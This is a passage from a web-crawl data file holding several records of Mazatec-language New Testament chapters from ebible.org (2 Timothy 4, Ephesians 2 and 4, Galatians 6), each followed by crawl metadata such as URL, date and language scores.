ti̱ka'bísoìn 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, ndaà ti̱kitasoìn xá xi ji̱ kjònga̱tsjei.\n6 'A̱n, jye tìtsjaà kjo̱tjò‑la̱ yijo‑na̱ Nainá. Jyeé ijchò na̱chrjein nga ki̱yá. 7 Jyeé ndaà kiskaàn‑tjià xá‑la̱ Cristo; jyeé ndaà kisìkitasoàn xá xi 'a̱n kjònga̱tsja; jyeé ndaà tsohóti̱jnakoa̱a jè 'én xi mokjeiín‑na i̱t'aà ts'e̱ Cristo. 8 I̱'ndei̱, Cristo, xi xi̱ta̱xá kixi̱ tíjna, tíjnatjò jngoò‑la̱ corona ján ngajmiì xi 'a̱n tsjá‑na nga kixi̱ tsohóti̱jnakoa̱a. K'e̱ nga kjoi̱í ìjngoò k'a‑ne, mìtsà tà 'a̱n xi tjoé‑na. Ti̱koa̱á tjoé‑la̱ ngats'iì xi̱ta̱ xi tíjngoò ikon nga nchikoña‑la̱ Cristo.\nKó kitsò Pablo nga kisìxátíya‑la̱ Timoteo nga kjoi̱kon ni̱to̱n\n9 Ti̱xátíyi nga ni̱to̱n nchrobáchon‑ná. 10 Nga jè Demas, jyeé kitsjeiìn takòn‑na. Jè 'ñó matsjakeè kjoa̱ xi tjín i̱ i̱sò'nde. Ján kiì na̱xa̱ndá Tesalónica. Crescente, ján kiì nangui Galacia, koa̱ jè Tito ján kiì nangui Dalmacia. 11 Tà jè Lucas tíjnako̱‑na. K'e̱ nga kji̱nchroboì, tjàjchatoi Marcos, nchrobákoi̱i. Ko̱chjeén‑na kjoa̱ ts'e̱ xá xi tjín‑na. 12 Jè Tíquico, ján kisìkasén Éfeso. 13 K'e̱ nga kji̱nchroboì, jcha̱‑ná i̱nchro̱kisòn‑na̱ xi tsakajná ya̱ na̱xa̱ndá Troas ya̱ ni'ya‑la̱ Carpo. Jch'i̱i xo̱jo̱n‑na̱; jñà xi ìsa̱ 'ñó mochjeén‑na xi chrjoa̱ kjoàn.\n14 Alejandro, jè xi chji̱ne̱ ki̱cha̱, 'ñó ch'o tjín kjoa̱ xi tísíko̱‑na. Nainá, jè kàtatsjá‑la̱ kjo̱'in kjoa̱ xi tís'ín. 15 Ngaji̱ Timoteo, ti̱kindi̱i yijo‑lè i̱t'aà ts'e̱ xi̱ta̱ jè. 'Ñó kondra̱ fìtji̱ngui‑la̱ 'én xi okoòyaá.\n16 K'e̱ nga kisindaàjiìn ítjòn‑na nga nguixko̱n xi̱ta̱xá, ni̱yá xi tsasìko̱‑na. Ngats'iì xi̱ta̱ kitsjeiìn takòn‑na. Kì kinda̱á s'ín Nainá kjoa̱ koi. 17 Ta̱nga Na̱'èn‑ná tsasìko̱‑na. Kitsjaà‑na nga'ñó mé‑ne nga komà kichjàjiìn‑la̱ jñà xi̱ta̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. K'oa̱á s'ín komà‑ne nga kiì'nchré yije xi mìtsà xi̱ta̱ judío. Nainá tsasìko̱‑na nga mìkiì kisìk'en‑na xi̱ta̱ xi tsibíndaàjiìn‑na. 18 Na̱'èn‑ná ko̱si̱ko̱‑na i̱t'aà ts'e̱ ngats'iì kjoa̱ xi ch'o tjín. Kji̱ko̱‑na ñánda tíhotíxoma ján ngajmiì. Nainá, kàtas'e‑la̱ kjoa̱jeya ni̱ta̱ mé nó‑ne ni̱ta̱ mé na̱chrjein‑ne. K'oa̱s'ín kàtama.\nXi fehet'aà‑ne, Pablo síhixat'aà xi̱ta̱ xíkjín\n19 Ti̱ixat'eì jè Priscila ko̱ Aquila ko̱ xi̱ta̱ ni'ya‑la̱ Onesíforo. 20 Erasto, ján tsibìjna na̱xa̱ndá Corinto. Jè Trófimo, ján kisìkíjna na̱xa̱ndá Mileto. Xk'én‑né. 21 Ti̱xátíyi nga ni̱to̱n nchrobáchón‑ná k'e̱ nga ti̱kj'eè f'iì na̱chrjein choòn 'nchán. Tísíhixat'aà‑lè Eubulo, Pudente, Lino ko̱ Claudia, ko̱ ngats'iì xi̱ta̱ xi 'ndsè chibá.\n22 Jè kàtìjnako̱‑lè Jesucristo xi otíxoma‑ná. Ngats'ioò, jè kàtìjnako̱‑nò kjo̱ndaà‑la̱. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/maaNT\/2TI04.htm","date":"2022-01-19T22:39:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301592.29\/warc\/CC-MAIN-20220119215632-20220120005632-00216.warc.gz","language":"maa","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999973773956299}","num_words":484,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nTi̱tsa̱jtión nga ko̱ Ini̱ma̱ Tsjeè‑la̱ Nainá\n1 Koií kjoa̱‑la̱ nga k'oa̱s'ín bìtsi'bà‑nò nga ndaà ti̱jchá yijo‑nò koni s'ín ok'ìn‑la̱ kjoa̱ xi xó kinokjoà‑nò. 'A̱n, nda̱yá tìjna̱a'ya jè nga̱tjì‑la̱ nga Nainá tìsìxá‑la̱. 2 Jñò, kì 'nga ikon 'nè; indaàkjoa̱ t'e̱en, kàtas'e‑nò kjoa̱tsejta; ngásòn kàtachíkjoa̱‑nò mé kjoa̱ xi tjín‑nò nga matsjacha xinguio̱o. 3 Tìnè‑là yijo‑nò nga titsa̱jnajtión‑ko̱o xinguio̱o koni s'ín jye tsibítsa̱jnajtín‑nò jè Ini̱ma̱ Tsjeè‑la̱ Nainá, mé‑ne nga 'nchán ki̱tsa̱jna‑nò. 4 Nga tà jngoò ma na̱xa̱ndá‑la̱ Nainá; ko̱ tà jngoò ma Ini̱ma̱ Tsjeè‑la̱ Nainá; ti̱koa̱ tà jngoò kjoa̱ chiñá‑lá nga Nainá xó kiìchja̱‑ná; 5 ko̱ tà jngoò ma Na̱'èn‑ná Jesucristo xi otíxoma‑ná; tà jngoò kjoa̱ tjín koni s'ín mokjeiín‑ná i̱t'aà ts'e̱ Cristo; ti̱koa̱á tà jngoò kjoa̱ tjín nga ma bautizar xi̱ta̱. 6 Ta jngoò ma Nainá nga ngats'iaá Na̱'èn‑ná ma, jè xi otíxoma‑ná nga ngats'iaá, jè xi síxájiìn ini̱ma̱‑ná nga ngats'iaá, ko̱ jè xi tíjnako̱‑ná nga ngats'iaá.\n7 Ta̱nga kitjoé‑ná kjo̱tjò koni s'ín sasén‑la̱ Cristo mé xá‑la̱ Nainá xi s'e̱én nga jngoò jngoaá. 8 Koií ko̱s'ín tíchja̱‑ne Xo̱jo̱n‑la̱ Nainá nga tsò:\nK'e̱ nga jye kisìkijne nga tífìmijìn‑ne ngajmiì,\nkiìko̱ preso jñà xi̱ta̱ xi kitsobà'ñó,\nko̱ kitsjaà‑la̱ kjo̱tjò jñà xi̱ta̱.\n9 ¿Kó tsòya‑ne jè xi tsò: \"Tífìmijìn‑ne ngajmiì\"? Tsòyaá‑ne nga [jè Cristo] ítjòn itjojen skanda ñánda 'ñó na̱nga̱ i̱jiìn nangui. 10 Jè xi itjojen‑t'aà skanda i̱t'aà nangui, ti̱jè‑ne xi tsijin ìjngoò k'a‑ne ñánda nga ìsa̱ 'ñó 'nga tsibìjna koni ngats'iì xi 'nga títsa̱jna mé‑ne nga jè si̱ìjngoò yije‑ne ni̱ta̱ mé xi tjín i̱sò'nde. 11 Ti̱koa̱ ti̱jè‑ne xi kitsjaà‑la̱ xá xi̱ta̱‑la̱ mé xá xi s'i̱in nga jngoò ìjngoò. Tjín xi tsibíxáya‑la̱ Jesucristo nga si̱ìka'bísòn 'én ndaà‑la̱; tjín xi jñà ki̱chja̱ ngajo‑la̱; tjín xi 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo béno̱jmíya; tjín xi síkinda̱ na̱xa̱ndá‑la̱ Nainá; ti̱koa̱ tjín xi okóya 'én‑la̱ Nainá. 12 K'oa̱á s'ín kitsjaà‑la̱ xá xi̱ta̱‑la̱ nga jngoò ìjngoò mé‑nè nga kàtatsjá‑la̱ kjo̱hítsjeèn xi̱ta̱ na̱xa̱ndá‑la̱ nga ko̱ma si̱ìxá‑la̱ Nainá, nga ìsa̱ tse nga'ñó s'e̱‑la̱ na̱xa̱ndá‑la̱ Cristo. 13 K'oa̱á s'ín ko̱ma‑ne nga jngoò kjo̱hítsjeèn s'e̱‑ná ngats'iaá koni s'ín mokjeiín‑ná i̱t'aà ts'e̱ Nainá ko̱ koni s'ín yaxkoaán Ki'ndí‑la̱ mé‑ne nga nguì xi̱ta̱ kixi̱ ko̱maá. Nguì k'oa̱á s'ín ko̱ngásòn‑kjoaá kóho̱tjián koni jè Cristo nga ni̱mé chijat'aà‑la̱. 14 Mì ti̱ k'oa̱s'ín s'e̱n‑ná koni s'ín ndí i̱xti nga ni̱to̱n mokjeiín‑la̱ yá xi̱ta̱ xi kona̱cha̱n‑la̱; nga fìjen fìkjáko̱ koni tsà tjo̱ tísískáko̱; nga fìtji̱ngui‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ maña̱ xi 'én ndiso okóya nga kj'ei̱í ndi̱yá tjímaya. 15 Tà sa̱á 'én kixi̱‑la̱ Nainá ki̱nókjoa̱á nga matsjachaá xinguia̱á mé‑nè nga ko̱s'ín ìsa̱ ndaà ska̱sòn kjo̱hítsjeèn‑ná koni s'ín tjín kjo̱hítsjeèn‑la̱ Cristo nga jè tíjna xi sko̱‑la̱ na̱xa̱ndá‑la̱ Nainá. 16 Nga jè na̱xa̱ndá‑la̱ Nainá, k'oa̱á kji koni jngoò yijo‑la̱ xi̱ta̱. Jè Cristo tíjna xi sko̱‑la̱; ko̱ jè tsjá‑la̱ nga jngoò ìjngoò xá xi oko̱‑la̱; i̱kjoàn síjngoò koni s'ín tjín yijo‑ná nga títéya naxá‑la̱ nindaà‑ná; nga jngoò ìjngoò ska̱ya, katjín katjín xá‑la̱. K'e̱ nga ndaà síxá yije yijo‑ná maje‑né koa̱ ma'nga‑né. K'oa̱á ti̱s'ín tjín jè na̱xa̱ndá‑la̱ Cristo nga ko̱je‑né koa̱ ko̱'nga‑né k'e̱ nga jngoò ìjngoò xi̱ta̱‑la̱ ndaà si̱ìxá nga matsjakeè xíkjín.\nKós'ín si̱jchá yijo‑ná k'e̱ nga jè Nainá síxi̱tse̱ya ini̱ma̱‑ná ko̱ kjo̱hítsjeèn‑ná\n17 I̱t'aà ts'e̱ kjo̱tíxoma xi tsjá‑na Cristo, k'oa̱á xan‑nò ko̱ bìt'in‑nò nga mì ti̱ k'oa̱s'ín s'e̱n‑nò koni s'ín xi̱ta̱ xi kj'ei̱í xi mìkiì beèxkon Nainá, nga tákó tjímako̱ kjo̱hítsjeèn‑la̱ xi nìmée chjí‑la̱. 18 Tà tjíjñò kjo̱hítsjeèn‑la̱. Tsjìn‑la̱ kjoa̱binachon xi i̱t'aà ts'e̱ Nainá nchrobá‑ne; mìkiì beè kó s'ín si̱ìjchá yijo‑la̱ nga jè ini̱ma̱‑la̱ tájaàjiìn tjín; mìkiì tsjá'nde nga fahas'en‑jiìn kjo̱hítsjeèn xi ndaà tsò. 19 Mì ti̱ kiì beè‑ne xi kjo̱sobà 'mì, jyeé kòxo̱x'ín. Tà kjoa̱ chijngui 'ñó sís'in‑la̱; kjit'aà na̱chrjein ótsji ngats'iì kjoa̱ ch'o xi tjín i̱sò'nde. 20 Ta̱nga jñò, mì k'oa̱á tjín kjoa̱ xi kis'eno̱jmí‑nò i̱t'aà ts'e̱ Cristo. 21 Nga jye ndaà kina'yà‑là 'én‑la̱ ko̱ ndaà kichìta'yà kó s'ín tjín xi nguì kjoa̱ kixi̱ i̱t'aà ts'e̱ Jesús. 22 K'oa̱á s'ín kis'eno̱jmí‑nò nga chja̱àxiòn kjoa̱ jchínga xi tjín‑nò nga sa̱ kjòtseé koni s'ín kinìjchá yijo‑nò; i̱'ndei̱ jyeé mì ti̱ mé chjí‑la̱ kjoa̱ koi koií kjoa̱‑la̱ nga jñà kjoa̱ ch'o xi kisaseèn‑la̱ yijo‑nò kiskoòna̱cha̱n‑nò. 23 Tjí'nde‑là Nainá nga jè kàtasíxi̱tse̱ya ini̱ma̱‑nò ko̱ kjo̱hítsjeèn‑nò. 24 Chjoé ìjngoò k'a xi kjoa̱ xi̱tse̱ xi k'oa̱s'ín kisindaà koni kji i̱sén‑la̱ Nainá mé‑ne nga kixi̱ ko̱ tsjeè si̱jchá yijo‑nò koni s'ín tjín xi nguì kjoa̱kixi̱.\n25 K'oa̱á ma‑ne i̱'ndei̱, kì ti̱ 'én ndiso nokjoà‑nò. 'Én kixi̱ ti̱nókjoa̱ko̱o xinguio̱o nga jngoò ìjngoò nga tà ngásòn xi̱ta̱ xinguia̱á ma kóho̱tjián.\n26 Tsà k'e̱ nga majti‑nò, kì jé binchaàtsjioò; kì nìjti‑là yijo‑nò kóni nga 'ba na̱chrjein skanda k'e̱ nga o̱katjì ts'oí. 27 Kì kiì biì'nde‑là xi̱ta̱ nei̱í nga jè kona̱cha̱n‑nò.\n28 Jè xi chijé s'ín nga sa̱ ítjòn, kì ti̱ chijé s'ín‑ne i̱'ndei̱; ti̱koa̱á‑ne k'oa̱s'ín kàtasíkjeén tsja nga kixi̱ kàtasíxá mé‑nè nga sa̱kò‑la̱ to̱n xi tsjá i̱tsé‑la̱ xi̱ta̱ i̱ma̱ xi ni̱mé tjín‑la̱.\n29 Ni̱jngoò 'én xi ch'o tsò nokjoà; jñà 'én ti̱nókjoa̱ko̱o xinguio̱o xi ndaà tsò xi ko̱chjeén‑la̱ xinguio̱o nga ìsa̱ kixi̱ kítsa̱jna mé‑nè nga ko̱chikon‑t'in‑ne jñà xi̱ta̱ xi kji̱'nchré‑nò. 30 Kì nìba‑là jè Ini̱ma̱ Tsjeè‑la̱ Nainá, jè xi tsibít'aà chi̱ba̱‑ná mé‑ne nga kàta'ya‑ná nga xi̱ta̱‑la̱ Nainá 'mì‑ná skanda jè na̱chrjein k'e̱ nga si̱ìkítsa̱jnandei̱í‑ná Nainá xi kjoa̱ ts'e̱ jé.\n31 Chja̱àxiòn yije i̱jiìn ini̱ma̱‑nò jñà kjoa̱ xi ch'o tjín xi kondra̱ ts'e̱ xi̱ta̱ xi kj'ei̱í koni kjoa̱ bínguitakòn, kjoa̱jti, kjoa̱ xi makjan‑nò, kjoa̱ nga chítiko̱o xinguio̱o, ko̱ nga nokjoàjno‑là xinguio̱o, ko̱ ngats'iì kjoa̱ts'e̱n. 32 Ndaà chibàko̱o xinguio̱o; kàtas'e‑nò kjo̱hi̱ma̱takòn; ti̱jchàat'aà‑là jé‑la̱ xinguio̱o koni s'ín kisìko̱‑nò Nainá i̱t'aà ts'e̱ Cristo nga kisìjchàat'aà‑nò jé‑nò.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/maaNT\/EPH04.htm","date":"2022-05-28T23:34:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663021405.92\/warc\/CC-MAIN-20220528220030-20220529010030-00158.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":848,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nKós'ín síjchàat'aà‑ná jé‑ná Nainá\n1 Jñò, nga sa̱ kjòtseé, k'oa̱á ngaya‑la̱ koni tsà titsa̱jna k'en‑nò i̱t'aà ts'e̱ Nainá nga jè kjoa̱‑la̱ jé‑nò nga ch'o ki'nè. 2 K'oa̱á s'ín tse tsitjaàyaà ndi̱yá jé‑la̱ xi̱ta̱ i̱sò'nde; jè kinìkitasòn‑là xi̱ta̱ nei̱í xi sko̱‑la̱ tjo̱ i̱jiìn i̱sén nga jè síxájiìn ini̱ma̱‑la̱ jñà xi̱ta̱ xi mìkiì 'nchréñijon‑la̱ Nainá. 3 Ti̱koa̱á ngats'iaá jñá, k'e̱ nga ìsa̱ kjòtseé, k'oa̱á ti̱s'ín chinchaàtsjiaá jé koni s'ín kjòmejèn‑la̱ yijo‑ná ko̱ kjo̱hítsjeèn‑ná. Tjín‑ne nga ngásòn tse kjo̱'in k'oi̱‑ná tsà ndaà, koni jñà xi̱ta̱ xi kj'ei̱í nga koi kjoa̱‑la̱ jé‑ná. 4 Ta̱nga Nainá, tseé kjo̱hi̱ma̱takòn tjín‑la̱ nga 'ñó matsjakeè‑ná. 5 Nainá kisìkítsa̱jnakon ìjngoò k'a‑ná ko̱ Cristo, na̱s'ín jye titsa̱jnak'eén xi kjoa̱ ts'e̱ jé‑ná. (Ko̱ jñò, tà kjo̱ndaà‑la̱ Nainá‑né nga bitjokàjñoò kjo̱'in.) 6 Nainá, kisìkjaáyakjoò‑ná ko̱ Cristo, nga ya̱ titsa̱jnakoa̱á, ko̱ ta̱ñaá kisìkítsa̱jnakjoò‑ná ján ngajmiì. 7 K'oa̱á s'ín kis'iìn mé‑nè nga ko̱kò‑ne jñà na̱chrjein xi sa̱ nchrobá nga tse kjoa̱tjòcha tjín‑la̱ ko̱ tse kjo̱ndaà tjín‑la̱ i̱t'aà tsa̱ján nga Cristo Jesús titsa̱jnakoa̱á. 8 Tà kjo̱ndaà‑la̱ Nainá‑né nga itjokàjñoò kjo̱'in nga kòkjeiín‑nò i̱t'aà ts'e̱ Cristo. Mìtsà kjo̱ndaà tsa̱jòn nchrobá‑ne kjoa̱ koi; ta kitsjaà kjo̱tjò‑nò Nainá. 9 Mìtsà koi kjoa̱‑la̱ nga xá ki'nè, mé‑nè nga ni̱jngoò xi̱ta̱ ndaà si̱ìkíjna‑ne yijo‑la̱. 10 Nainá tsibíndaàya xi̱tse̱ ìjngoò k'a‑ná, nga ya̱ titsa̱jnakoa̱á Cristo, mé‑nè nga s'e̱én ngats'iì kjoa̱ xi ndaà tjín, jñà kjoa̱ xi Nainá jyeé k'oa̱s'ín kiskoòsòn‑la̱ nga ti̱sa̱ kjòtseé nga ko̱s'ín si̱kitasoán.\nKjoa̱'nchán xi tjín‑ná nga Cristo titsa̱jnakoa̱á\n11 Jñò xi mì ya̱ tje̱n‑nò tje̱‑la̱ xi̱ta̱ judío, k'oa̱á tsò‑nò jñà xi̱ta̱ judío xi tjít'aà chi̱ba̱ yijo‑la̱ nga mìtsà xi̱ta̱‑la̱ Nainá 'mì‑nò, koií kjoa̱‑la̱ nga mì tjít'aà chi̱ba̱‑nò kjoa̱ ts'e̱ circuncisión. Ta̱nga jè kjoa̱ jè, tà tsja xi̱ta̱á bíndaàya‑ne yijo‑la̱. 12 Ti̱kítsjeèn k'e̱ nga sa̱ kjòtseé jñò titsa̱t'aàxìn‑la Cristo; ti̱koa̱á titsa̱jnat'aàxìn‑la na̱xa̱ndá Israel, mìkiì ya̱ nokjoà‑nò koni s'ín tsibíndaàjiìn‑ko̱ Nainá jñà xi̱ta̱ judío koni s'ín kitsjaà‑la̱ tso'ba Nainá. I̱sò'nde jè, ni̱mé xi chiñà‑là ko̱ mìkiì yaxkon Nainá. 13 Ta̱nga i̱'ndei̱, nga ya̱ titsa̱jnako̱o Cristo, Nainá jyeé kisìchrañat'aà‑nò jè kjoa̱‑la̱ jní xi tsibíxteèn Cristo, na̱s'ín kjiìn tjat'aàxìn‑là Nainá nga sa̱ kjòtseé. 14 I̱'ndei̱, jè Cristo xi tsjá‑ná kjoa̱'nchán. Kisìkjoóndaà‑ná nga jngoò na̱xa̱ndá komà‑ne jñà xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío. Jè kisìhixàña jè kjoa̱ kondra̱ xi jòya tjín nga sa̱ ítjòn k'e̱ nga kitsjaà kjo̱tjò yijo‑la̱ nga k'en‑t'aà krò. 15 Ya̱á kisìkjehet'aà jè kjo̱tíxoma‑la̱ Moisés xi tjín‑la̱ jñà xi̱ta̱ judío; kjòjngoò‑ne ingajò na̱xa̱ndá; jngoò na̱xa̱ndá xi̱tse̱ komà‑ne nga jè titsa̱jnakoa̱á Cristo; k'oa̱á komà‑ne nga tsijne 'nchán kjoa̱. 16 Cristo, k'e̱ nga k'en‑t'aà krò, ya̱á kisìkjehet'aà kjoa̱ kondra̱ xi jòya tjín. Kisìkjoóndaà‑ne ingajò na̱xa̱ndá; jngoò na̱xa̱ndá komà‑ne koa̱ kitsjaà‑la̱ kjoa̱'nchán i̱t'aà ts'e̱ Nainá.\n17 Jñò xi kjiìn títsa̱jna‑là Nainá nga sa̱ ítjòn, ti̱koa̱á ngaje̱n xi titsa̱jnat'aà chrañà‑la̱je̱n, j'iì Cristo nga j'iì kéno̱jmí‑ná 'én ndaà xi tsjá‑ná kjoa̱'nchán. 18 Ndaà chjí‑la̱ Cristo nga ingajò na̱xa̱ndá‑ná jyeé tjí'nde‑ná nga ko̱ma chi̱koa̱á Nainá nga ti̱jè‑ne Ini̱ma̱ Tsjeè‑la̱ tsjá‑ná nga'ñó nga ingajoá. 19 K'oa̱á ma‑ne jñò xi mìtsà xi̱ta̱ judío 'mì‑nò, mìtsà ti̱ xi̱ta̱ xìn nangui‑nò. Jñò, i̱'ndei̱, ngásòn ya̱ ta̱jngoò nokjoà‑nò na̱xa̱ndá‑la̱ Nainá; xi̱ta̱ xinguio̱o‑nò ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Nainá. 20 K'oa̱á ngaya‑la̱ koni tsà jngoò ni'ya tísindaà. Jñò, jè ngaya‑la̱ nda̱jo̱ xi mochjeén‑la̱ chrjó ni'ya. Jñà xi̱ta̱ xi tsibíxáya‑la̱ Cristo ko̱ jñà xi kiìchja̱ ngajo‑la̱ Nainá, jñà‑né tàts'en chrjó‑la̱ ni'ya. Ko̱ jè Cristo jè nda̱jo̱ chrja̱ngui̱‑la̱ chrjó ni'ya. 21 Nga ko̱ Cristo ngats'iì nda̱jo̱‑la̱ chrjó ni'ya, ndaà tísikjoò ko̱ tímajeya ni'ya mé‑nè nga ni'ya tsjeè‑la̱ Nainá ko̱ma‑ne. 22 Ti̱koa̱á jñò, nga Cristo títsa̱jnakjoòko̱o, Nainá tísíkítsa̱jnakjoò‑nò ko̱ xi̱ta̱ xinguio̱o xi kj'ei̱í, mé‑ne nga jñò ko̱ma‑nò ni'ya ñánda tíjna Nainá nga Ini̱ma̱ Tsjeè.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/maaNT\/EPH02.htm","date":"2022-05-19T03:02:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522741.25\/warc\/CC-MAIN-20220519010618-20220519040618-00316.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":557,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nMé xi mochjeén nga ndaà si̱koa̱á ngats'iì xi̱ta̱\n1 Jñò ndí 'ndsè ko̱ ndí tichjaá, tsà tjín i'nga xi̱ta̱ xi jé ótsji, jñò xi ndaà onguít'aà‑là jè Ini̱ma̱ Tsjeè‑la̱ Nainá, jñò ti̱si̱ko̱ò nga kàtakixi̱ya ìjngoò k'a‑ne nga indaàkjoa̱ ti̱nókjoa̱‑là. Ta̱nga jñò, t'e̱en kinda̱ yijo‑nò, mé‑ne nga mì jé ska̱jiìn‑nò. 2 Ti̱si̱ko̱ò xinguio̱o k'e̱ nga tsà mé kjoa̱ xi 'in tjín títsa̱jnajiìn; k'oa̱á s'ín ko̱ma‑ne nga si̱kitasòn jè kjo̱tíxoma xi kitsjaà Cristo.\n3 Tsà tjín i'nga xi̱ta̱ xi ndaà ochrjengui yijo‑la̱, koa̱ tsà mìtsà kixi̱‑ne kjoa̱, jñà xi̱ta̱ koi, tà yijo‑la̱á nchikona̱cha̱n‑la̱. 4 Ìsa̱á ndaà‑ne nga chít'aà yijo‑nò nga jngoò ìjngoò‑nò, a ndaà titsa̱'nè; tsà ndaà titsa̱'nè, ta ya̱ tíjiìn takòn, kì k'oa̱á s'ín nìkítsjeèn nga jñò, ìsa̱á ndaà titsa̱'nè mì k'oa̱‑ne koni jñà xi̱ta̱ xi kj'ei̱í. 5 Nga jngoò ìjngoò, ya̱á kjinè‑la̱ kós'ín tísíjchá yijo‑la̱.\n6 Jñà xi̱ta̱ xi nchikota'yà 'én ndaà‑la̱ Nainá, mochjeén‑né nga kàtatsjá‑la̱ mé xi ko̱chjeén‑la̱ maestro‑la̱ nga 'én okóya.\n7 Kì yijo‑nò chona̱cha̱n‑là; nga Nainá mìkiì ko̱ma si̱skákoa̱á. Nga ìjngoò ìjngoò xi̱ta̱, koni tjín kjoa̱ xi s'ín, k'oa̱á ti̱ tjín kjoa̱ xi sa̱kò‑la̱. 8 Nga jè xi k'oa̱s'ín s'ín koni s'ín mejèn‑la̱ yijo‑la̱, kjoa̱biyaá tjoé‑la̱ i̱t'aà ts'e̱ kjoa̱ ch'o xi síjé yijo‑la̱, ta̱nga jè xi k'oa̱s'ín s'ín koni s'ín mejèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá tjoé‑la̱ kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑né. 9 Mìkiì ndaà tjín tsà ko̱siì‑ná nga ndaà s'e̱én; nga ki̱jchò na̱chrjein nga sa̱kò‑ná kjo̱ndaà tsà mì kì si̱hindaà‑lá takoán. 10 Koií kjoa̱‑la̱, k'e̱ ma xi 'né i̱tsé, ndaà si̱koa̱á ngats'iì xi̱ta̱, jñà títsa̱jna ítjòn jñà xi̱ta̱ xinguia̱á xi ngásòn mokjeiín‑ná 'én‑la̱ Nainá.\nMé kjoa̱ xi síkíjna ítjòn Pablo\n11 Chítsejèn‑là tsí ki̱tsian‑ne letra xi ndsa̱a tìkjiì‑nò. 12 Jñà xi̱ta̱ xi mejèn‑la̱ nga kjo̱'ñó s'ín‑nò nga sit'aà chi̱ba̱‑nò kjoa̱ ts'e̱ circuncisión, tà koií xi mejèn‑la̱ nga ndaà síkítsa̱jna yijo‑la̱ nga nguixko̱n xi̱ta̱; ko̱ majìn‑la̱ nga xi̱ta̱ kji̱tji̱ngui kondra̱‑la̱ tsà ko̱s'ín ke̱èno̱jmíya nga ya̱ k'en‑t'aà krò Cristo. 13 Jñà xi̱ta̱ xi tjít'aà chi̱ba̱‑la̱ kjoa̱ ts'e̱ circuncisión, ti̱koa̱á mìkiì síkitasòn kjo̱tíxoma, ta̱nga mejèn‑la̱ nga si̱t'aà chi̱ba̱‑nò mé‑ne nga i̱t'aà tsa̱jòn ndaà si̱ìkítsa̱jna‑ne yijo‑la̱ k'e̱ nga skoe̱ nga jñò jye tjít'aà chi̱ba̱‑nò. 14 Ta̱nga 'a̱n, ni̱mé kjoa̱ xi mejèn‑na nga ndaà sìkíjna yijo‑na̱; ta jè ta̱jngoó krò‑la̱ Na̱'èn‑ná Jesucristo nga ndaà sìkíjna yijo‑na̱. K'oa̱á ma‑ne nga jñà kjoa̱ ch'o xi tjín i̱sò'nde, i̱t'aà ts'a̱n, títsa̱jnak'en‑né ko̱ 'a̱n tìjna̱k'eén‑la̱ jè i̱sò'nde. Mì ti̱ k'oa̱á tjín kjoa̱ xi sis'in‑na. 15 Xi i̱t'aà ts'e̱ Cristo, mìtsà jè xi chjí‑la̱ tsà tjít'aà chi̱ba̱‑ná ko̱ tsà tsjìn‑ná chi̱ba̱ kjoa̱ ts'e̱ circuncisión; jè xi chjí‑la̱ nga jè Nainá jyeé kisìkjatjìya‑ná ko̱ jyeé xi̱ta̱ xi̱tse̱ kjoán. 16 Kàtas'e‑la̱ kjoa̱'nchán ko̱ kjoa̱ i̱ma̱ takòn ya̱ i̱jiìn ini̱ma̱‑la̱ ngats'iì xi̱ta̱ xi k'oa̱s'ín nchisíkitasòn koni tsò 'én jè; jñà‑né xi xi̱ta̱‑la̱ Nainá ts'e̱ na̱xa̱ndá Israel.\n17 K'oa̱á ma‑ne i̱'ndei̱, kì ti̱ yá xi kjoa̱ ótsji‑ìsa‑na nga jyeé tjít'aà chi̱ba̱‑la̱ yijo‑na̱ kjo̱'in xi kitsjaà‑na̱ xi̱ta̱ xi kjoa̱ ts'e̱ Na̱'èn‑ná Jesús.\n18 Jñò ndí 'ndsè ko̱ ndí tichjaá, jè kàtasijiìn ini̱ma̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/maaNT\/GAL06.htm","date":"2022-07-05T02:44:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104512702.80\/warc\/CC-MAIN-20220705022909-20220705052909-00149.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 